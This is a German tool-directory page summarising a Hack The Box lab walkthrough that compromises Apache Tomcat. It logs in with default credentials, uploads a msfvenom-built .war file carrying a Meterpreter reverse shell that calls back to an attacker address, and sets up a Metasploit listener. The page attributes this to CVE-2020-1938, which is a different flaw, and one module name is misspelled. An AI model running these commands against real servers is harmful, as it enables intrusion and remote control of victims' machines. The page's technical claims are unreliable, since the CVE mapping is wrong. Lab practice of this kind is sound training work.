Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/hopsypopsy8/cve-2020-1938-exploitation
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubhopsypopsy8/cve-2020-1938-exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

CVE-2020-1938-Exploitation

Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2020-1938 (Apache Tomcat beliebiges JSP-Upload zu RCE) mit msfvenom und Metasploit in einer Hack The Box Laborumgebung.

Repository anzeigen
3vor 1 JahrNoch nicht geprüft
Teilen

CVE-2020-1938 Ausnutzung

Apache Tomcat willkürlicher JSP-Upload führt zu RCE

Beschreibung

CVE-2020-1938 ist eine kritische Schwachstelle, die Apache Tomcat von 9.0.0.M1 bis 9.0.0.30, 8.5.0 bis 8.5.50 und 7.0.0 bis 7.0.99 betrifft. ⚠️ Dies wurde in einem Hack The Box Labor ausgenutzt.

🔗 Referenz: NIST NVD Eintrag

Aufklärung

Identifizieren eines Angriffsvektors

Bild

  1. Die Website hat Standard-Anmeldedaten für die Funktion Server Status.

  2. Diese Oberfläche zeigt an, dass die Version Apache Tomcat/7.0.88 ist, 64-Bit-Architektur.

  3. Von dieser Oberfläche aus navigieren wir zur Auflistung von Anwendungen, die eine Upload-Funktion für .war-Dateien bereitstellt.

  • Bei erfolgreichem Upload wird die .war-Datei unter /directory/filename ausgeführt.

  • Die Recherche zur Apache Tomcat-Version bestätigte die Anfälligkeit für CVE-2020-1938

  • Ausnutzung

    • Erzeugen der .war-Datei

    root@kitploit:~
    msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war

    Mit msfvenom, einem Metasploit-Payload-Generator, erzeugen wir unseren exploit.war-Payload.

    1. -p windows/x64/meterpreter_reverse_tcp ist der Typ des Payloads (in unserem Fall 64 Bit, wie im Server Status identifiziert)
    2. LHOST=10.10.14.3 LPORT=3004 sind die Reverse-Connection-Details für den Angreifer-Rechner
    3. -f war ist der Dateityp
    4. -o exploit.war Ausgabedateiname

    Nach der Dateigenerierung öffnen Sie die Datei und finden Sie den Namen der .jsp-Datei, z.B. gcvxdtmxvw.jsp, und speichern Sie ihn für später.

    Einrichten von Metasploit

    root@kitploit:~
    msfconsole
use exploit/multi/hanlder
Set LHOST 10.10.14.3
Set LPORT 3004

    Mit msfconsole richten wir einen Listener ein, der auf die Ausführung unseres Payloads wartet.

    Hochladen und Ausführen der schädlichen Datei

    Bild
    Bild

    Wir laden unsere Datei im Bereich 'Deploy' hoch, danach aktualisieren wir den Bildschirm und sehen, dass die Datei erfolgreich hochgeladen wurde. Um den Exploit abzuschließen, müssen wir zum Pfad ip/hacked/gcvxdtmxvw.jsp navigieren.

    Bild

    Dies hält die Anfrage an, jedoch können wir lokal auf unserem Rechner sehen, dass eine Reverse-Verbindung hergestellt wurde.

    Tool herunterladen